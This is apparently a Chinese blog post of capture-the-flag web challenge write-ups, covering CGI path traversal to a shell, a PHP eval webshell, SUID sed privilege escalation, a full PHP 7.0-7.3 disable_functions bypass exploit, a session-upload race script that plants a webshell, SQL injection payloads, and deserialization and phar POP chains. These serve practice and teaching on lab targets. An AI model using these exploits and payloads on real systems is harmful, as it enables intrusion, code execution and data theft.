POST /cgi-bin/test-cgi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

echo;grep -nr "NSSCTF" /flag_is_here

[湖湘杯 2021 final]Penetratable

开题被这个题标签迷惑了,测了好久的二次注入,其实是越权改密码

随便注册一个用户,然后改密码,抓包发现用户名是加密了的(还是base64

直接改为admin

发现登陆成功

image-20240428202923826

越权登陆之后

发现不对啊,admin怎么没多些啥啊

·image-20240428203137457

找了半天没发现啥,看了wp发现还有root,同样的操作改root密码

访问?c=admin&m=updatepass

image-20240428203617624

登录发现多了一个查看日志的功能,日志可下载

抓包发现会带有一个filename选项,结合前面目录爆破有一些存在但访问不存在的文件,尝试下载

image-20240428203957975

发现读取成功,尝试读取flag无果结合目录

image-20240428204038663

好家伙直接看到一句话木马

image-20240428204118719

1
2
3
4
5

<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

一键连接

密码1q2w3e

image-20240428204601794

1
http://node4.anna.nssctf.cn:28872/phpinfo.php/?pass_31d5df001717=1q2w3e&cc=eval($_POST[%27cc%27]);

密码cc

去找flag,没权限,提权

1
2
find / -user root -perm -4000 -print 2>/dev/null#查找拥有suid的二进制文件

一眼sed提权image-20240428204804580

1
/bin/sed '' /flag

image-20240428205838149

这题虽然花了很长时间,但是思路很清晰,被二次注入的标签给误导了 ,一步步走的挺踏实的

[护网杯 2018]easy_tornado

之前做过了

error拿cookie_sercet

拼flagMD5

/file?filename=/fllllllllllllag&filehash=dde23ec9d6b8ab8f3185c2e2d70a82db

[GKCTF 2020]CheckIN

这题还挺有意思的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

首先传入phpinfo();的base64可以看到禁用函数,

传入eval($_POST[a]);的base64,蚁剑链接,在tmp目录上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

之后传入包含该文件

1
?Ginkgo=aW5jbHVkZSgnL3RtcC9zaGVsbC5waHAnKTs=

得到flag

[GKCTF 2020]ez三剑客-easynode

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

[MoeCTF 2022]ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

遍历post的值,创建了一个与 $key 同名的新变量,并将其值设置为 $value,如果post中有a=flag,这样就会创建一个$a,并将$a的值设置为flag

遍历get的值,它首先将 $value 作为变量名获取其值,然后创建一个与 $key 同名的新变量,并将 $value 的值赋给这个新变量。

1
/?a=flag&flag=a

[HNCTF 2022 WEEK3]QAQ_1inclu4e

开题

image-20240516160845173

base64,跟没说一样:flag藏在神秘的角落

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import threading

session = requests.session() #用session保留使用的cookies

url = "http://node5.anna.nssctf.cn:20867/"

sess = 'myan'

file_name = "/var/www/html/1.php"

file_content = "<?php eval($_POST[1]);?>"

data = {
"PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'Success!'; file_put_contents('{file_name}','{file_content}')?>"
}

files = {
'file' : 'myan'
}

cookies = {
'PHPSESSID' : sess
}



def write():
while True :
r = session.post(url=url,data=data,files=files,cookies=cookies)

def read():
while True:
r = session.post(url=url+"?QAQ=/tmp/sess_myan")
if "Success!" in r.text:
print("Shell的地址在url/1.php")
R = requests.post(url=url+'1.php',data={"1" : "system('tac /var/f*');"})
print(R.text)
exit()

threads = [threading.Thread(target=write),threading.Thread(target=read)]

for t in threads:
t.start()

[FSCTF 2023]ez_php2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;

}
class Poc{
public $payload=['POC'=>"1111"];
public $fun;
}
class Er
{
public $symbol;
public $Flag;
}

class Ha
{
public $start;
public $start1;
public $start2;

}
$a=new Ha();
$b=new Poc();
$a->start2="11111";
$a->start1=new Rd();
$a->start=$b->payload;
$a->start1->cl=new Er();
$a->start1->cl->Flag="ls /";
echo serialize($a);

[SWPUCTF 2022 新生赛]Power!

这题也是小顿了一下

首先传?source回显示源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}

}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>

可以看到传image_path'可以看base64编码的图片,尝试读flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$a = "good job,but there is no flag

i put my flag in intranet(127.0.0.1:65500)

outsider have no permissions to get it

if you want it,then you have to take it

but you already knew the rules

try it";

?>

说把flag放在了127.0.0.1:65500

分析一下源码

image-20240516195843557

image-20240516195855764

这里可以利用curl进行ssrf读取flag

思路就是最后触发loadfile中的curl,curl中的local和path都是可控的

backdoor的destruct进,触发call,再到localfile到curl

__call() :在对象上下文中调用不可访问的方法时触发

但是在此之前会先进入到goodman方法来进行重新赋值,将$a类中的$b属性重新赋值为该类,也就是Backdoor中$superhacker的值

链子构造到这里还没有解决最关键的一点,就是设置我们curl的路径,通过审计代码

$file = $this->curl($this->local.$this->path);

1

可以得知,curl的路径是由FileViewer中local和path决定的,正好,我们可以通过$a变量来创建一个新的FileViewer对象

构造exp的时候可以修改一下black_list的值,让他不在过滤flag,毕竟正则匹配会进行过滤,并且还要注意一下,在触发unserialize之前会先进行一次base64解码
借鉴

别的师傅的一句话

这里构造的时候踩了个坑,一开始只创建了Backdoor一个对象,所以就是Backdoor里面包含着FileViewer,但是经过反序列化之后,执行的loadfile函数只有FileViewer类存在,所以要FileViewer中包着Backdoor

pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class FileViewer{
public $black_list;
public $local;
public $path="flag";
}
class Backdoor{
public $a;
public $b;
public $superhacker;

}

$a=new Backdoor();
$b=new FileViewer();
$a->a = new FileViewer();
$a->b = "local";
$a->superhacker = "http://127.0.0.1:65500/";
$b->local = $a;
echo serialize($b);



[网鼎杯 2018]Fakebook

扫目录发现存在robots.txt,

存在源码泄露,泄露了user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

注册登录,发现no参数存在sql注入

先判断列数

1
2
3
4
5
6
7
1 order by 1,2,3,4   列数是4
-1 union/**/select/**/1,2,3,4 显位点是2
-1 union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata 爆数据库
-1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema="fakebook" 爆表
-1 union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name="users" 爆列名

-1 union/**/select/**/1,group_concat(no,username,passwd,data),3,4/**/from/**/fakebook.users 爆数据

image-20240517150520887

发现存入的数据相对应的博客一栏是反序列化数据,说明对博客一栏的数据通过上面的user.php进行了反序列化,那需要操作一下了

1
2
3
4
5
6
7
8
9
10
11
12
<?php


class UserInfo
{
public $name = "Q";
public $age = 18;
public $blog = "load_file('/var/www/html/flag.php')";

}
$a=new UserInfo();
echo serialize($a);
1
-1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"Q";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

[CISCN 2019华北Day1]Web1

注册登录发现可以上传文件

先上传一个看看,游下载和删除功能,抓包发现下载存在文件读取

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>缃戠洏绠$悊</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">绠$悊闈㈡澘</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">涓婁紶鏂囦欢</label></li>
<li class="active ml-auto"><a href="#">浣犲ソ <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

image-20240517153237159

里面还包含了class.php读取来试试

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

image-20240517153421409

这里存在4各功能,最危险的当属这个close了,触发close方法可以利用file_get_contents()读取文件

首先会获取sandbox下的所有文件名,然后访问对应文件的名字和size,调用这两个方法,链子最终应该是close()进行文件内容的读取,而调用close()的地方只有一个,那就是User的__destruct()方法,控制db为file对象即可,但是好像没什么用,并不知道flag文件名叫什么,还是要进行系统函数的执行才可以,可以看下另一条链子,实例化完了FileList对象会访问NameSize方法,这两个方法并不存在于FileList,而在File里面,所以会触发__call(),而__call()会调用file内的func,并将结果存入$results

1
$this->results[$file->name()][$func] = $file->$func();

看看其他文件

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);限制了查看的目录

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

来捋一捋,最后是要file_get_content(‘flag’),就是要filename是flag,他在file类里,怎么到file类呢,User里的destruct使用了close(),在想前找,Filelist里有call,NameSize方法,这两个方法并不存在于FileList,而在File里面,所以会触发__call()

1
User()->db->FileList()->__call()->File()->filename="flag"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<?php
class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$this->files = array();
$a = new File('/flag.txt');
array_push($this->files,$a);

}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;
public function __construct($filename){
$this->filename=$filename;
}

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
$a = new User();
$a->db = new FileList();

$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();


[GFCTF 2021]ez_calc

第一次见到,ctrl+u和f12看到的源码不一样

F12

image-20240517164326586

Ctrl+u

image-20240517164346416

f12可以看验证逻辑

1
2
3
4
5
if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){
// 登录成功,设置 session

}
变小写不是admin,变大写还得是ADMIN,挺刁断

条件就是:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

这里只能换i

admın

真无聊,源码藏在页面最下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
calc = calc.replace("x", "");
}

try {
result = eval(calc);

}

